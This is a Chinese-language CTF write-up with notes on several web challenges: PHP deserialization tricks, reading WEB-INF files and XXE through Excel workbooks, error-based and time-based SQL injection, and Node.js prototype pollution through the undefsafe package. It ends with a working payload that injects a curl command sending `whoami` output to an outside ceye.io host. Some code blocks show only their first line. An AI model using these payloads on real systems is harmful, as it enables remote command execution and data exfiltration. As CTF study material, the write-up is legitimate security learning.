May 12th 2020, 10:00:00 am
被虚幻拿到MISC卡了很久,只做了一道nodejs题,详细记录一下。同时加上其他题目的笔记
AreUSerialz
PHP7的反序列化下可以使用public调用protected和private属性参考
可以将序列化的数据类型从s改成S,php反序列化时会对数据进行解码。如
%00 ⇒ \00
参考读不了Flag
php.ini中设置了include_path
1
2
3
4
5; UNIX: "/path1:/path2"
;include_path = ".:/php/includes"
;
; Windows: "\path1;\path2"
;include_path = "c:\php\includes"查看Apache配置文件(/etc/httpd/conf/httpd.conf)查看默认目录,再默认目录+文件名进行读取
题目中其他暗示
FileJava
Java题目环境可以尝试读取WEB-INF/web.xml获取servlet信息参考
例如servlet是:
cn.abc.servlet.DownloadServlet
它的相对地址:
WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
反编译后可以得到源码
可以利用EXCEL内的xl/workbook.xml进行XXE(压缩时注意环境问题) 参考
trace
- 既报错又延迟
1 | SELECT 1 and if(1=2,1,pow(9999,100) or sleep(3)); |
- 无列名注入
1 | // 借助union |
notes
直接本地运行会报错,没有模板文件。可以把输出的内容直接输出到页面上。修改后的源码如下:
1 | var express = require('express'); |
在源码中可以看到执行命令的语句,但是传入的参数不是直接可控的。很明显要原型链污染到传入执行语句中的变量才行。
出现问题的是undefsafe这个包,在google当中直接搜到了它的原型链污染文章:
https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
https://github.com/remy/undefsafe/commit/f272681b3a50e2c4cbb6a8533795e1453382c822
需要注意的是:我在本地测试拉下来的undefsafe包都没法复现,可以下载一个最新的包然后直接把相关代码删除就可以,参考github上面的commit。
回到题目,源码当中存在问题的是:
1 | edit_note(id, author, raw) { |
可以在这里传入id为__proto__
,然后污染变量。这里存在一个坑,不能直接污染commands。在本地可以执行的payload,放在题目环境中就不行。可以直接污染__proto__
,后面遍历commands的时候还是可以遍历的到。原因这里详细记录一下:
在nodejs原型链中,不同对象所生成的原型链如下(部分):
1 | var o = {a: 1}; |
题目中可以污染的是this.note_list这个对象,他的原型链是this.note_list ---> Object.prototype ---> null
(commands也是一样)。正好就污染了Object的prototype属性(即原型)。
后面在遍历commands的过程中,会把commands的原型所包含的属性也遍历出来。测试例子:
1 | note_list = {}; |
于是乎,我们就可以构造payload了:
1 | id=__proto__&author=curl%20%22http%3A%2F%2Fxxx.ceye.io%2F%22%2B%60whoami%60&raw=123 |
在/edit_notes这里post发包:
访问/status之后在拿到flag: